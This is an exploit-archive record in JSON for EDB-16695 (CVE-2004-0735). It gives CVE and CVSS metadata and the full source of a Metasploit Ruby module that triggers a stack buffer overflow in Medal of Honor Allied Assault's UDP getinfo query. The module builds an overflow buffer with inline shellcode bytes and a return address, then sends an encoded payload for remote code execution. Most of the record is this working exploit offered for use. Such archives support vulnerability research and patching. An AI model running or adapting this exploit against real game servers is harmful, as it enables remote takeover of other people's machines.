{"exploit":{"id":"EDB-16695","name":"Medal of Honor Allied Assault - getinfo Stack Buffer Overflow (Metasploit)","description":"Medal of Honor Allied Assault - getinfo Stack Buffer Overflow (Metasploit)","cves":["CVE-2004-0735"],"author":"Metasploit","published":"2010-05-09","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16695","path":"exploits/windows/remote/16695.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16695.rb","vulnerabilities":[{"id":"CVE-2004-0735","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in Medal of Honor (1) Allied Assault 1.11v9 and earlier, (2) Breakthrough 2.40b and earlier, and (3) Spearhead 2.15 and earlier, when playing on a Local Area Network (LAN), allows remote attackers to execute arbitrary code via vectors such as (1) the getinfo query, (2) the connect packet, and other unknown vectors.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-0735","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-0735"},"updatedAt":"2024-08-08T00:31:46.557Z","retrievedAt":"2026-11-27T13:11:54.814Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16695.png?v=2","url":"https://exploitbin.com/exploits/EDB-16695","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16695/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16695/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: mohaa_getinfo.rb 9262 2010-05-09 17:45:00Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = GreatRanking\n\n\tinclude Msf::Exploit::Remote::Udp\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Medal Of Honor Allied Assault getinfo Stack Buffer Overflow',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a stack based buffer overflow in the getinfo\n\t\t\t\tcommand of Medal Of Honor Allied Assault.\n\t\t\t},\n\t\t\t'Author'         => [ 'Jacopo Cervini' ],\n\t\t\t'License'        => BSD_LICENSE,\n\t\t\t'Version'        => '$Revision: 9262 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2004-0735'],\n\t\t\t\t\t[ 'OSVDB', '8061' ],\n\t\t\t\t\t[ 'URL', 'http://www.milw0rm.com/exploits/357'],\n\t\t\t\t\t[ 'BID', '10743'],\n\t\t\t\t],\n\t\t\t'Privileged'     => false,\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'    => 512,\n\t\t\t\t\t'BadChars' => \"\\x00\",\n\t\t\t\t},\n\t\t\t'Platform'       => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t['Medal Of Honor Allied Assault v 1.0 Universal', { 'Rets' => [ 111, 0x406957 ] }], # call ebx\n\t\t\t\t],\n\t\t\t'DisclosureDate' => 'Jul 17 2004',\n\t\t\t'DefaultTarget' => 0))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOpt::RPORT(12203)\n\t\t\t], self.class)\n\tend\n\n\tdef exploit\n\t\tconnect_udp\n\n\t\t# We should convert this to metasm - Patrick\n\t\tbuf = 'B' * target['Rets'][0]\n\t\tbuf << \"\\x68\\x76\\x76\\x76\\x76\"*9   \t# PUSH 76767676 x 9\n\t\tbuf << \"\\x68\\x7f\\x7f\\x7f\\x7f\"     \t# PUSH 7F7F7F7F\n\t\tbuf << \"\\x57\"\t\t\t    \t# PUSH EDI\n\t\tbuf << \"\\x58\"\t\t\t    \t# POP EAX\n\t\tbuf << \"\\x32\\x64\\x24\\x24\"\t    \t# XOR AH,BYTE PTR SS:[ESP+24]\n\t\tbuf << \"\\x32\\x24\\x24\"\t\t    \t# XOR AH,BYTE PTR SS:[ESP]\n\t\tbuf << \"\\x48\"*150\t\t\t    \t# DEC EAX x 150\n\t\tbuf << \"\\x50\\x50\"\t\t\t    \t# PUSH EAX x 2\n\t\tbuf << \"\\x53\"\t\t\t\t# PUSH EBX\n\t\tbuf << \"\\x58\"\t\t\t\t# POP EAX\n\t\tbuf << \"\\x51\"\t\t\t\t# PUSH ECX\n\t\tbuf << \"\\x32\\x24\\x24\"\t\t\t# XOR AH,BYTE PTR SS:[ESP]\n\t\tbuf << \"\\x6a\\x7f\"\t\t\t\t# PUSH 7F\n\t\tbuf << \"\\x5e\"\t\t\t\t# POP ESI\n\t\tbuf << \"\\x46\"*37\t\t\t\t# INC ESI\n\t\tbuf << \"\\x56\"*10\t\t\t\t# PUSH ESI\n\t\tbuf << \"\\x32\\x44\\x24\\x24\"\t\t# XOR AL,BYTE PTR SS:[ESP+24]\n\t\tbuf << \"\\x49\\x49\"\t\t\t\t# DEC ECX\n\t\tbuf << \"\\x31\\x48\\x34\"\t\t\t# XOR DWORD PTR DS:[EAX+34],ECX\n\t\tbuf << \"\\x58\"*11\t\t\t\t# POP EAX\n\t\tbuf << \"\\x42\"*66\n\t\tbuf << \"\\x3c\"*4\n\t\tbuf << \"\\x42\"*48\n\t\tbuf << [ target['Rets'][1] ].pack('V')\n\n\t\treq = \"\\xff\\xff\\xff\\xff\\x02\" + \"getinfo \" + buf\n\t\treq << \"\\r\\n\\r\\n\" + make_nops(32) + payload.encoded\n\n\t\tudp_sock.put(req)\n\n\t\thandler\n\t\tdisconnect_udp\n\tend\n\nend","sha256":"2f87aee5d27bcb904641254c02c74b218fce5b0a8a7f384643dac318412e74ad","bytes":2642,"fetchedAt":"2026-11-27T13:11:50.907Z","encoding":"utf-8 (display only; download retains original bytes)"}